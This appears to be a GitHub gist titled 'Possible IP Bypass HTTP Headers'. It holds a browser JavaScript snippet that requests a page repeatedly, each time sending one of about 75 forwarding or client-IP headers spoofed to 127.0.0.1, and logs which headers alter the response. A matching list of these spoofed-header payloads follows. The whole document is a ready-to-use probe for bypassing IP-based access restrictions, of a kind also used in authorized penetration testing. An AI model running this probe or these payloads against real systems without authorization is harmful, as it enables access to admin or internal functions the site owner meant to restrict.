-
-
Save AhnMo/36e86097f4b40cfaa4b942e61bab2d96 to your computer and use it in GitHub Desktop.
Possible IP Bypass HTTP Headers
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(async function() { | |
const baseline = await fetch('').then(r => r.text()); | |
const header_keys = [ | |
"CACHE_INFO", "CF_CONNECTING_IP", "CF-Connecting-IP", "CLIENT_IP", "Client-IP", | |
"COMING_FROM", "CONNECT_VIA_IP", "FORWARD_FOR", "FORWARD-FOR", "FORWARDED_FOR_IP", | |
"FORWARDED_FOR", "FORWARDED-FOR-IP", "FORWARDED-FOR", "FORWARDED", "HTTP-CLIENT-IP", | |
"HTTP-FORWARDED-FOR-IP", "HTTP-PC-REMOTE-ADDR", "HTTP-PROXY-CONNECTION", "HTTP-VIA", "HTTP-X-FORWARDED-FOR-IP", | |
"HTTP-X-IMFORWARDS", "HTTP-XROXY-CONNECTION", "PC_REMOTE_ADDR", "PRAGMA", "PROXY_AUTHORIZATION", | |
"PROXY_CONNECTION", "Proxy-Client-IP", "PROXY", "REMOTE_ADDR", "Source-IP", | |
"True-Client-IP", "Via", "VIA", "WL-Proxy-Client-IP", "X_CLUSTER_CLIENT_IP", | |
"X_COMING_FROM", "X_DELEGATE_REMOTE_HOST", "X_FORWARDED_FOR_IP", "X_FORWARDED_FOR", "X_FORWARDED", | |
"X_IMFORWARDS", "X_LOCKING", "X_LOOKING", "X_REAL_IP", "X-Backend-Host", | |
"X-BlueCoat-Via", "X-Cache-Info", "X-Forward-For", "X-Forwarded-By", "X-Forwarded-For-Original", | |
"X-Forwarded-For", "X-Forwarded-Server", "X-Forwared-Host", "X-From-IP", "X-From", | |
"X-Gateway-Host", "X-Host", "X-Ip", "X-Original-Host", "X-Original-IP", | |
"X-Original-Remote-Addr", "X-Original-Url", "X-Originally-Forwarded-For", "X-Originating-IP", "X-ProxyMesh-IP", | |
"X-ProxyUser-IP", "X-Real-IP", "X-Remote-Addr", "X-Remote-IP", "X-True-Client-IP", | |
"XONNECTION", "XPROXY", "XROXY_CONNECTION", "Z-Forwarded-For", "ZCACHE_CONTROL" | |
]; | |
let result = []; | |
for (let i = 0; i < header_keys.length; i++) { | |
const header_key = header_keys[i]; | |
const headers = {}; | |
headers[header_key] = '127.0.0.1'; | |
const test = await fetch('', { | |
headers | |
}).then(r => r.text()); | |
if (test !== baseline) { | |
result.push(header_key); | |
} | |
} | |
console.log(result); | |
})() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CACHE_INFO: 127.0.0.1 | |
CF_CONNECTING_IP: 127.0.0.1 | |
CF-Connecting-IP: 127.0.0.1 | |
CLIENT_IP: 127.0.0.1 | |
Client-IP: 127.0.0.1 | |
COMING_FROM: 127.0.0.1 | |
CONNECT_VIA_IP: 127.0.0.1 | |
FORWARD_FOR: 127.0.0.1 | |
FORWARD-FOR: 127.0.0.1 | |
FORWARDED_FOR_IP: 127.0.0.1 | |
FORWARDED_FOR: 127.0.0.1 | |
FORWARDED-FOR-IP: 127.0.0.1 | |
FORWARDED-FOR: 127.0.0.1 | |
FORWARDED: 127.0.0.1 | |
HTTP-CLIENT-IP: 127.0.0.1 | |
HTTP-FORWARDED-FOR-IP: 127.0.0.1 | |
HTTP-PC-REMOTE-ADDR: 127.0.0.1 | |
HTTP-PROXY-CONNECTION: 127.0.0.1 | |
HTTP-VIA: 127.0.0.1 | |
HTTP-X-FORWARDED-FOR-IP: 127.0.0.1 | |
HTTP-X-IMFORWARDS: 127.0.0.1 | |
HTTP-XROXY-CONNECTION: 127.0.0.1 | |
PC_REMOTE_ADDR: 127.0.0.1 | |
PRAGMA: 127.0.0.1 | |
PROXY_AUTHORIZATION: 127.0.0.1 | |
PROXY_CONNECTION: 127.0.0.1 | |
Proxy-Client-IP: 127.0.0.1 | |
PROXY: 127.0.0.1 | |
REMOTE_ADDR: 127.0.0.1 | |
Source-IP: 127.0.0.1 | |
True-Client-IP: 127.0.0.1 | |
Via: 127.0.0.1 | |
VIA: 127.0.0.1 | |
WL-Proxy-Client-IP: 127.0.0.1 | |
X_CLUSTER_CLIENT_IP: 127.0.0.1 | |
X_COMING_FROM: 127.0.0.1 | |
X_DELEGATE_REMOTE_HOST: 127.0.0.1 | |
X_FORWARDED_FOR_IP: 127.0.0.1 | |
X_FORWARDED_FOR: 127.0.0.1 | |
X_FORWARDED: 127.0.0.1 | |
X_IMFORWARDS: 127.0.0.1 | |
X_LOCKING: 127.0.0.1 | |
X_LOOKING: 127.0.0.1 | |
X_REAL_IP: 127.0.0.1 | |
X-Backend-Host: 127.0.0.1 | |
X-BlueCoat-Via: 127.0.0.1 | |
X-Cache-Info: 127.0.0.1 | |
X-Forward-For: 127.0.0.1 | |
X-Forwarded-By: 127.0.0.1 | |
X-Forwarded-For-Original: 127.0.0.1 | |
X-Forwarded-For: 127.0.0.1 | |
X-Forwarded-For: 127.0.0.1, 127.0.0.1, 127.0.0.1 | |
X-Forwarded-Server: 127.0.0.1 | |
X-Forwared-Host: 127.0.0.1 | |
X-From-IP: 127.0.0.1 | |
X-From: 127.0.0.1 | |
X-Gateway-Host: 127.0.0.1 | |
X-Host: 127.0.0.1 | |
X-Ip: 127.0.0.1 | |
X-Original-Host: 127.0.0.1 | |
X-Original-IP: 127.0.0.1 | |
X-Original-Remote-Addr: 127.0.0.1 | |
X-Original-Url: 127.0.0.1 | |
X-Originally-Forwarded-For: 127.0.0.1 | |
X-Originating-IP: 127.0.0.1 | |
X-ProxyMesh-IP: 127.0.0.1 | |
X-ProxyUser-IP: 127.0.0.1 | |
X-Real-IP: 127.0.0.1 | |
X-Remote-Addr: 127.0.0.1 | |
X-Remote-IP: 127.0.0.1 | |
X-True-Client-IP: 127.0.0.1 | |
XONNECTION: 127.0.0.1 | |
XPROXY: 127.0.0.1 | |
XROXY_CONNECTION: 127.0.0.1 | |
Z-Forwarded-For: 127.0.0.1 | |
ZCACHE_CONTROL: 127.0.0.1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment